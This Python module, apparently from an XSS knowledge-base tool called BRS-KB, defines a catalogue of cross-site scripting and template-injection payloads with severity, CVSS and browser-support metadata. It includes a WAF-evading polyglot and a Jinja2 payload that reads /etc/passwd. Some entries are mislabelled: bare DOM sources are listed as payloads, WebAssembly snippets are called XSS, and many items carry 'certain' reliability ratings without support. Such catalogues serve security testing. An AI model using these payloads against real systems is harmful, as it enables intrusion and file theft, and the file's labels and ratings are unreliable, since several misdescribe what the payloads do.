#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Advanced Techniques and Bypasses
"""

from ..models import PayloadEntry


ADVANCED_BASE_PAYLOADS = {
    "js_function_constructor": PayloadEntry(
        payload="Function('alert(1)')()",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Function constructor XSS",
        tags=["function", "constructor", "code-execution"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Protocol confusion
    "protocol_confusion": PayloadEntry(
        payload="file://<script>alert(1)</script>",
        contexts=["url"],
        severity="medium",
        cvss_score=6.1,
        description="File protocol confusion",
        tags=["protocol", "file", "confusion"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # Dangling markup
    "dangling_markup": PayloadEntry(
        payload='"><script>alert(1)</script>',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Dangling markup injection",
        tags=["dangling", "attribute-breakout", "markup"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More advanced payloads
    "advanced_polyglot": PayloadEntry(
        payload="jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */onCliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//\\x3e",
        contexts=["html_content", "url", "css", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Advanced polyglot working across multiple contexts",
        tags=["polyglot", "advanced", "universal-bypass"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
        waf_evasion=True,
    ),
    # Modern framework attacks
    "react_jsx": PayloadEntry(
        payload="<img src=x onerror=alert(1)>",
        contexts=["html_content", "template_injection"],
        severity="high",
        cvss_score=7.5,
        description="React JSX injection",
        tags=["react", "jsx", "framework"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "vue_directive": PayloadEntry(
        payload='v-html="<script>alert(1)</script>"',
        contexts=["template_injection"],
        severity="high",
        cvss_score=7.5,
        description="Vue directive injection",
        tags=["vue", "directive", "v-html"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # More comprehensive payload coverage
    "comprehensive_1": PayloadEntry(
        payload="<details open ontoggle=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 details element XSS",
        tags=["html5", "details", "ontoggle"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_2": PayloadEntry(
        payload="<marquee onstart=alert(1)>XSS</marquee>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Marquee element XSS",
        tags=["marquee", "legacy", "deprecated"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "comprehensive_3": PayloadEntry(
        payload="<keygen onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Keygen element XSS",
        tags=["keygen", "legacy", "deprecated"],
        browser_support=["chrome", "firefox"],
        reliability="low",
    ),
    "comprehensive_4": PayloadEntry(
        payload='<object data="javascript:alert(1)">',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Object element XSS",
        tags=["object", "data", "embed"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "comprehensive_5": PayloadEntry(
        payload="<video><source onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video source error XSS",
        tags=["video", "media", "onerror"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # Additional HTML Content payloads
    "html_body_onload": PayloadEntry(
        payload="<body onload=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Body onload event XSS",
        tags=["body", "onload", "event"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_input_onfocus": PayloadEntry(
        payload="<input onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Input focus event XSS",
        tags=["input", "onfocus", "autofocus"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_select_onchange": PayloadEntry(
        payload="<select onchange=alert(1)><option>1</select>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Select change event XSS",
        tags=["select", "onchange", "form"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "html_textarea_onblur": PayloadEntry(
        payload="<textarea onblur=alert(1)>XSS</textarea>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Textarea blur event XSS",
        tags=["textarea", "onblur", "form"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More JavaScript Context payloads
    "js_object_injection": PayloadEntry(
        payload="1, alert: alert(1), real: 1",
        contexts=["js_object"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript object property injection",
        tags=["object", "property", "injection"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "js_array_injection": PayloadEntry(
        payload="1], alert(1), x: 1]",
        contexts=["javascript"],
        severity="critical",
        cvss_score=8.8,
        description="JavaScript array injection",
        tags=["array", "injection", "code-execution"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "js_template_literal": PayloadEntry(
        payload="`${alert(1)}`",
        contexts=["js_string"],
        severity="critical",
        cvss_score=8.8,
        description="JavaScript template literal XSS",
        tags=["template-literal", "es6", "expression"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More CSS Context payloads
    "css_import_injection": PayloadEntry(
        payload="@import 'javascript:alert(1)'",
        contexts=["css"],
        severity="high",
        cvss_score=7.5,
        description="CSS import injection",
        tags=["css", "import", "external"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "css_filter_injection": PayloadEntry(
        payload="filter: url('javascript:alert(1)')",
        contexts=["css"],
        severity="high",
        cvss_score=7.5,
        description="CSS filter injection",
        tags=["css", "filter", "svg"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More SVG Context payloads
    "svg_animatetransform": PayloadEntry(
        payload="<svg><animateTransform onbegin=alert(1) attributeName=transform dur=1s>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG animateTransform XSS",
        tags=["svg", "animation", "transform"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    "svg_pattern_injection": PayloadEntry(
        payload="<svg><pattern><script>alert(1)</script></pattern></svg>",
        contexts=["svg"],
        severity="high",
        cvss_score=7.3,
        description="SVG pattern with script",
        tags=["svg", "pattern", "script"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="certain",
    ),
    # More URL Context payloads
    "url_file_protocol": PayloadEntry(
        payload="file://<script>alert(1)</script>",
        contexts=["url"],
        severity="medium",
        cvss_score=6.1,
        description="File protocol confusion",
        tags=["url", "file", "protocol"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "url_ftp_protocol": PayloadEntry(
        payload="ftp://example.com/<script>alert(1)</script>",
        contexts=["url"],
        severity="low",
        cvss_score=4.1,
        description="FTP protocol injection",
        tags=["url", "ftp", "protocol"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    # More Comment Context payloads
    "html_comment_conditional": PayloadEntry(
        payload="<!--[if IE]><script>alert(1)</script><![endif]-->",
        contexts=["html_comment"],
        severity="medium",
        cvss_score=6.1,
        description="Conditional comment XSS",
        tags=["comment", "conditional", "ie"],
        browser_support=["edge"],
        reliability="medium",
    ),
    "css_comment_injection": PayloadEntry(
        payload="/* <script>alert(1)</script> */ body { color: red; }",
        contexts=["css"],
        severity="low",
        cvss_score=4.1,
        description="CSS comment injection",
        tags=["css", "comment", "hidden"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    # More DOM XSS payloads
    "dom_location_search": PayloadEntry(
        payload="location.search",
        contexts=["dom_xss"],
        severity="high",
        cvss_score=7.5,
        description="DOM XSS via location.search",
        tags=["dom", "location", "search"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dom_document_url": PayloadEntry(
        payload="document.URL",
        contexts=["dom_xss"],
        severity="medium",
        cvss_score=6.1,
        description="DOM XSS via document.URL",
        tags=["dom", "document", "url"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "dom_window_name": PayloadEntry(
        payload="window.name",
        contexts=["dom_xss"],
        severity="medium",
        cvss_score=6.1,
        description="DOM XSS via window.name",
        tags=["dom", "window", "name"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # More Template Injection payloads
    "template_twig": PayloadEntry(
        payload='{{_self.env.setCache("opcode.cache",_self.env.get("\\u0000"))}}',
        contexts=["template_injection"],
        severity="critical",
        cvss_score=9.0,
        description="Twig template injection with cache manipulation",
        tags=["twig", "php", "cache"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "template_jinja": PayloadEntry(
        payload="{{request.__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}",
        contexts=["template_injection"],
        severity="critical",
        cvss_score=9.0,
        description="Jinja2 template injection with file read",
        tags=["jinja", "python", "file-read"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # More PostMessage XSS
    "postmessage_origin_bypass": PayloadEntry(
        payload='{"type": "message", "data": "<script>alert(1)</script>"}',
        contexts=["postmessage"],
        severity="high",
        cvss_score=7.5,
        description="PostMessage with origin bypass",
        tags=["postmessage", "origin", "bypass"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "postmessage_source_injection": PayloadEntry(
        payload='{"source": "javascript:alert(1)", "data": "message"}',
        contexts=["postmessage", "url"],
        severity="high",
        cvss_score=7.5,
        description="PostMessage source injection",
        tags=["postmessage", "source", "javascript"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # More WASM Context payloads
    "wasm_import_injection": PayloadEntry(
        payload='(import "env" "alert" (func $alert))',
        contexts=["wasm"],
        severity="medium",
        cvss_score=6.1,
        description="WebAssembly import injection",
        tags=["wasm", "import", "function"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "wasm_global_injection": PayloadEntry(
        payload='(global $xss (mut i32) (i32.const 0)) (export "xss" (global $xss))',
        contexts=["wasm"],
        severity="medium",
        cvss_score=6.1,
        description="WebAssembly global injection",
        tags=["wasm", "global", "export"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # More Markdown Context payloads
    "markdown_link_injection": PayloadEntry(
        payload="[XSS](javascript:alert(1))",
        contexts=["markdown"],
        severity="medium",
        cvss_score=6.1,
        description="Markdown link injection",
        tags=["markdown", "link", "javascript"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "markdown_image_injection": PayloadEntry(
        payload="![XSS](javascript:alert(1))",
        contexts=["markdown"],
        severity="medium",
        cvss_score=6.1,
        description="Markdown image injection",
        tags=["markdown", "image", "javascript"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # More XML Context payloads
    "xml_doctype_injection": PayloadEntry(
        payload='<!DOCTYPE root [<!ENTITY xss SYSTEM "javascript:alert(1)">]>',
        contexts=["xml"],
        severity="high",
        cvss_score=7.5,
        description="XML DOCTYPE entity injection",
        tags=["xml", "doctype", "entity"],
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
}
